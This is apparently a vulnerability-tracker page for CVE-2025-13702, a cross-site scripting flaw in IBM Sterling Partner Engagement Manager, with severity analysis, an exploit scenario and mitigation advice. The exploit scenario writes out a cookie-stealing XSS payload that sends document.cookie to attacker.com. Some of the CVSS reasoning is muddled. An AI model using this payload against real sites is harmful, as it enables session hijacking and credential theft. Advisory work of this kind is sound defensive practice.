Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | CVSS 6.1 (Medium) with network-based attack vector, low complexity, and no privilege requirement reflects moderate severity; however, the CVSS vector (PR:N negated by AV:N/AC:L) is contradictory—the description states 'authenticated user,' implying PR:L or PR:H should apply. The UI:R (user interaction required) and S:C (scope changed) components are appropriate for XSS. Real-world risk is elevated above the CVSS score due to: (1) authentication requirement providing some friction but not eliminating insider threat or compromised-credential scenarios; (2) potential for credential harvesting in trusted sessions (confidentiality impact—C:L confirmed); (3) functional alteration capability (integrity impact—I:L confirmed). Without explicit KEV or EPSS data provided, assume moderate exploitability given the straightforward nature of XSS attacks and the wide availability of payloads. The availability of a vendor patch reduces urgency slightly but does not mitigate pre-patch risk. SSVC perspective: exploitation is possible (XSS is trivial to weaponize), automatable (JavaScript injection), and technical impact is high (session compromise, credential theft). Priority should be elevated for organizations using Sterling PEM in production B2B environments. |
| Exploit ScenarioDerived | An authenticated user (or attacker with compromised credentials) logs into the Sterling PEM Web UI and identifies an input field (e.g., comment, supplier name, document field) that does not properly validate/encode output. The attacker injects a payload such as: <img src=x onerror='fetch("https://attacker.com/steal?cookie="+document.cookie)'>. When another user (e.g., administrator) views the injected content, the JavaScript executes in their browser under the PEM session context, transmitting their session cookie or other sensitive data to the attacker's server. Alternatively, the attacker modifies displayed transaction data or embeds a credential-harvesting form overlay to phish additional credentials. The attack requires UI interaction (victim must navigate to the vulnerable page) but no elevated privileges. In a B2B context where PEM manages sensitive supplier data and transactions, this can lead to unauthorized access, data theft, or fraudulent transaction modification. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 13, 2026
IBM Sterling Partner Engagement Manager versions 6.2.3.0-6.2.3.5 and 6.2.4.0-6.2.4.2 contain a stored or reflected cross-site scripting (XSS) vulnerability in the Web UI that allows authenticated users to inject arbitrary JavaScript code. An attacker with valid credentials can alter application functionality and potentially exfiltrate sensitive data (including credentials) from trusted user sessions. A patch is available from IBM; exploitation requires user interaction (UI:R) but no elevated privileges.
Earlier versions of this analysis (1)
IBM Sterling Partner Engagement Manager versions 6.2.3.0–6.2.3.5 and 6.2.4.0–6.2.4.2 contain a stored or reflected cross-site scripting (XSS) vulnerability in the Web UI that allows authenticated users to inject arbitrary JavaScript code. An attacker with valid credentials can alter application functionality and potentially exfiltrate sensitive data (including credentials) from trusted user sessions. A patch is available from IBM; exploitation requires user interaction (UI:R) but no elevated privileges.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This is a CWE-79 (Improper Neutralization of Input During Web Page Generation) vulnerability affecting IBM Sterling Partner Engagement Manager, a B2B integration and supplier management platform (CPE: cpe:2.3:a:ibm:sterling_partner_engagement_manager:*:*:*:*:*:*:*:*). The vulnerability resides in the Web UI layer where user-supplied input is not properly sanitized or encoded before being rendered in the browser context. The affected versions (6.2.3.x and 6.2.4.x) indicate the flaw exists across multiple minor releases, suggesting a systemic input validation or output encoding deficiency in the UI framework. The XSS vector allows injection of JavaScript that executes in the security context of the authenticated session, bypassing same-origin protections via the SameSite cookie bypass potential (S:C in CVSS vector indicates changed scope).
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
IBM Sterling Partner Engagement Manager 6.2.3.0 through 6.2.3.5 and 6.2.4.0 through 6.2.4.2 is vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.
Executive ViewAI
CVE-2025-13702 presents moderate security risk, a cross-site scripting vulnerability rated CVSS 6.1. Attackers could inject scripts to steal sessions or perform actions as authenticated users. A patch is available and should be applied during regular vulnerability management.
Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. Verify Content-Security-Policy and output encoding.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2025-208645
NVD
CVE.org
EPSS
VulDB
GitHub PoC
Exploit-DB